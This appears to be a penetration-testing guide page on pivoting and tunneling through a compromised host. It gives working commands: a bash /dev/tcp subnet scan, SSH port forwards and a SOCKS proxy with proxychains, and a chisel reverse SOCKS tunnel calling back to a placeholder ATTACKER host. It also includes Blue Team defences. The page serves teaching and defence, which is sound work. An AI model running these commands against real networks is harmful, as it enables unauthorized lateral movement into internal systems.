Pivoting and Tunneling
You rarely compromise your final target directly. The norm is to take an exposed machine (DMZ, web server) and use it as a stepping stone to reach internal networks unreachable from outside. Pivoting is using a compromised host as a bridge into those networks, and tunnels are the mechanisms (port forwarding, SOCKS, VPN) that carry your traffic through it. Without pivoting, an internal pentest stops at the first machine.
Threat model
Section titled “Threat model”The compromised host has access to networks you do not: another network interface, an internal subnet, or a firewall that lets it reach restricted zones. Pivoting reuses that host’s legitimate access to route your traffic. There are two basic forms: port forwarding (redirect a specific port) and a SOCKS proxy (route any tool through the pivot). Defence relies on a compromised host not being able to become a bridge to what is critical.
flowchart LR
A[Attacker] -->|"tunnel / SOCKS proxy"| H["Compromised host (pivot)"]
H -->|"legitimate access"| N["Non-routable internal network"]
N --> N2["Second pivot (double hop)"]
N2 --> C["Critical target"]
Reconnaissance from the pivot
Section titled “Reconnaissance from the pivot”The first step is understanding what the compromised host can reach:
ip a ; ip route # other interfaces and reachable subnetsarp -a ; cat /etc/hosts # known neighbours# light scan of the internal network without uploading nmap, pure bashfor i in $(seq 1 254); do (timeout 1 bash -c "echo > /dev/tcp/10.10.10.$i/445") 2>/dev/null && echo "10.10.10.$i:445 open"; done # timeout: a filtered host would stall the loopSSH: the cleanest pivoting
Section titled “SSH: the cleanest pivoting”If you have SSH, almost everything is solved:
# Local port forward: local port -> internal service via the pivotssh -L 8080:10.10.10.5:80 user@pivot # your localhost:8080 == internal:80# Remote port forward: expose one of your ports on the pivotssh -R 9001:localhost:9001 user@pivot# Dynamic (SOCKS proxy): route ANY tool into the internal networkssh -D 1080 user@pivot # SOCKS on localhost:1080Then, with proxychains, any tool exits through the SOCKS proxy:
# in /etc/proxychains.conf -> socks5 127.0.0.1 1080proxychains nmap -sT -Pn 10.10.10.5proxychains nxc smb 10.10.10.0/24Tunnels with dedicated tools
Section titled “Tunnels with dedicated tools”- chisel — HTTP server/client that creates a reverse SOCKS; widely used, requires uploading a binary to the pivot.
- ligolo-ng — tunnel with a TUN interface; the internal network “appears” as a local interface, very convenient.
- sshuttle — “VPN over SSH” (requires SSH access to the pivot); routes the internal subnet transparently.
- socat / netcat — one-off port relays.
- metasploit —
route addplussocks_proxy(autoroute).
# chisel: reverse SOCKS# on the attacker:chisel server -p 8000 --reverse# on the pivot:chisel client ATTACKER:8000 R:socksligolo-ng and sshuttle stand out for convenience: they route whole subnets without configuring proxychains for each tool.
Chained pivoting (double pivot)
Section titled “Chained pivoting (double pivot)”Sometimes the target is two hops away: you compromise A (DMZ) → from A you reach B (internal) → from B you reach C (deeper internal). Tunnels are chained (ssh -J, nested chisel or ligolo) to reach ever deeper networks, reusing the previous host’s access at each hop.
Blue Team
Section titled “Blue Team”- Strict segmentation: a DMZ host should not reach the internal network; microsegmentation per workload.
- Egress filtering: limit what outbound connections each host can make (stops reverse SOCKS and C2).
- Detection: unusual outbound connections (chisel/ligolo to external IPs), tunneled traffic, a host scanning internally.
- EDR/NDR that detects tunneling binaries and pivoting patterns; internal honeypots to flag lateral movement.
Checklist
Section titled “Checklist”- Enumerate which networks and interfaces the pivot reaches
- Light scan of the internal network from the pivot
- SSH port forward (local/remote) to an internal service
- Dynamic SOCKS (ssh -D / chisel / ligolo) + proxychains
- Route your tools into the internal network (nmap/nxc)
- Chained pivoting if the target is several hops away
- Blue: check whether segmentation and egress filtering limit the pivot
- Document the internal subnets reached
See also
Section titled “See also”- Reverse shells — get the shell you pivot from.
- File transfer — upload the tunnel binaries to the pivot.
- Data exfiltration — get the loot out of the internal network.